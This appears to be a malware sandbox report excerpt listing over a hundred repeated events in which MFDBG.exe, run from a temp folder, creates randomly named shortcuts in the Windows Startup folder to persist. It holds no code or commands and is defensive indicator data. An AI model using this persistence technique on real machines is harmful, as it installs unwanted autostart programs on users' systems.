Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_04b028c6990e4b1b874066f8f0f873cb.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4b256af91ac447138d3f1ef4c329441f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e6a2c5b4a9b74da491ce913645176a7d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_10ff187488354e6a8586d97929bdf097.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5d8f5953c6d34985acaf3120f05b0ee9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_431c3b09a093492886dfae8495a104f9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fe82d8fe196c4479be0372563483996f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0fb7008bb14643e3967b8666d7dfdbc3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_548377bfd9794007920c26508c996a95.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5a028a702a6640f7acff7c2467323130.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cdb09e8fa2ed4c34b49da65184cc0f92.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_462c9bd944434f13b040b4da0ac1aa02.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e222587107ca434d92c7dc5a1c3c993b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4d90184c109d4336866939af57cf9070.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a4edc110e1a54c89aeb875c642b73cd0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1248f0a9b74d43e4afa62aedaa31bdc1.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e209847210184f9d9e08e9cda8ba96d9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_78162a22b2ef4f0689da0a2ba73b1dbd.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_35c071a677804ae8852ef53d3a62ce6c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5bf3aa43aa3a46a7a07aa463eb27e702.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0af5661d04c74b5f8975ca4e2e62331a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2b1ba1ac1b8b442181a0edc59e0eac91.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_56a5c4ad6d724679a741e3ae0cf1b533.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c04398a29594406ea5ca6be4eec2eb95.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e33a63152c3f44fba0d7fcbba2735872.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_443706702bc64a6084280292c3047e4a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_978804222c774ac2a11833f815415e93.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_67e60396547d4079aafe6badebce7f06.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5aa59bdb4e6d437fbffe16ea04a20d06.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_23588ea9485f496b87ff0b9bcc9a8dfe.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8f307e844fae488fb17774c67bc6cddb.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_936153583a574e12ae5ce301d546ecb7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_88fe530d94d34ed893d8da1b577a9ee1.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b1c09c0732dc442d920e1feab5f489f0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bb4f2043403b4e8ea1976bdfc0ecc667.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4ed775f1e87545de8158b854ee35e90e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3a7247fbce8d411485c351e38ee16606.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_28308894d2144ef6a4a1b0d5ee7d9390.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aee0ea27092f462aafc90242bcb9de5c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_223e055859ff4a2080a36903d49f4b7e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6db6193e78e742788bed73485bbe4374.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2163a7223a6d43fc877b75e98211f266.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_38298c94303845dabef0ef3d2061c2aa.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a74090e8956d40b1ade27ebeb3aa426f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b3bcd01edd474a47a86c8bd1792d05ee.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_18e3d52c42d74610b232ef29524a7823.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_baeaec4053514e5abffb4ee7ae9168fc.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_71e11022ed01427f85e63a28b7279b2a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4b917c3aaed948ec9692b663ff65ec36.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6c85892c17804b8e94ac47c1953de172.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_34268db02fa248cdb69ee5b1b5e2d999.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d56f39a00fba487b853a6384ba548f6e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_790afdb9b26a4938a832a6e29bf2fc3b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2347fea100734ee0ae0ded8fe7a4f34e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b81f47a27fb54e7c9445d2ffb9084849.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_084228d3e4bf4430b3854a978df5792c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5067cc420a5343b5b6a89c50eb309968.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d9ce68203eb04024ad3c21a526da950a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_41e771998a3d42459107096c082683ba.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ba34989b21e3491e90fbf51a98ba4c24.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5643f754e8f3473f8fc0013ba9102384.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8ddfcca9825d4ae4b04378da42c71757.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2ef9de1d0e93471b966fe31aae29341d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ffc99a63dce94766b2f29046624f6966.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1e0b86547848468ab107236cb5d3ea51.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e7f91745407d43f39ab8406d4a863a79.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a0d82c8031be4e069f3441a9159c1231.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2e454b5e306c41c4b97ca312c15e652b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9dd22b6e00954ad3bd57f0f8a275e0f9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1d272941c88943d28e67fe6f5764521a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dd498831bff149b99efb6c9e1c28f413.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7f667397dce04c79be453e8d40e50b43.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4b9f77d33834f3aafdf8ba5f09babc6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b4e3cd0f2cc842d1a90a88be56724008.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_43fdf89f4bd34e69965ecc7f228a2f4f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4a72249031d4f969e1e6be20b01f78d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3623cbf1a6574ca9b15da0fa16784166.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a29d4a06ab024750af2bf767f5e85ad9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_540c2958b8314be5b328c344aa93f2d0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ea148e856ed84f7ba0b8469f6869aef1.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_65bbd61b5cbf407fa1e71132d5337de6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_98e6c726b7bd458c87db2b85195a9436.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_476d3cd0c57f4e6e97af8426fd53b501.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_375a627c251d46d69691fa62cca36310.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c9d0cd915b1c48ed9caf11b313d6eee3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_db5c4b99112e4fe283f3b096981b6f21.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7ee462d1dbb040b0bf5d46799f4f8f41.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b4a1fcdc28334837b3566d5eab3c9f44.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f301b392d9de47899f1629c65eb08e38.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5987ffc54a344d27bd05434e61b1e5f0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e6b67fc2032e410da5ef2d5ac0b602e4.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_18e21aa91d9e42afb346847e0034a929.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8211aff5c1634044a9b9555327b4c49e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7209af5644af4813823ccf72f42388cf.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_37c3d651e5464e1a8f93b92872d6fab9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7d5defc5c3aa4fd4b37720cdc365337b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d24ea315e05d4f7c8b1a9dc726826917.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ca5c496c519d470983557f85790a9a98.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ad132331281f42acbcf4965280ea9f0b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3de4ac887e5e4b0f9bb997dc3648a320.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_877a0124f4554c248284520cf620826a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c5be5b02ea4b4047b95f86b24240ed8d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3356faa26ec946bfbdf809cb586a83df.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ffc920abc35c439d975a00ec232f4ddf.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_be3e0245798a4224b34d9ee9a0a7d657.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ed165a352a64430bae8f3469b4d6438b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_90704eec61fd46579887b548a9eed8d8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a2ea4756929e45d591866deb3da89f16.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_af936ee15ca74eb78fd816d5c0dbf422.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a8fb2c0a2a2c4eb9829effb4e6edad58.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3ec4d02d64774ed19afa29e8bb8ddc6c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bfeda46592ff464ebaeae8e45cb96243.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_eaf8294eda534b5697837c1c42337c62.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_32fb5e1915b64ce9b10b3ce066c7433f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ce21d56bdf234704a66c2040b18a1a63.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_80ee0f8576b24cacad7909e092fb0114.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_652900a696884fcbbf18df3336ca907e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1e9490372e78474980811a0c919205ad.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_801e900601214cb5b115d90657521ce8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_80256ad3cc9e4284878abfe4a1f47963.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f119c2045df2439d9dc7f23a349c20d3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_188c5308975b46f296a177de1c21edb3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_99b010cfd49548989d1ae05e0606b7f9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_86ab77220d7e4e97967a9fe41b2db936.lnk	Jump to behavior
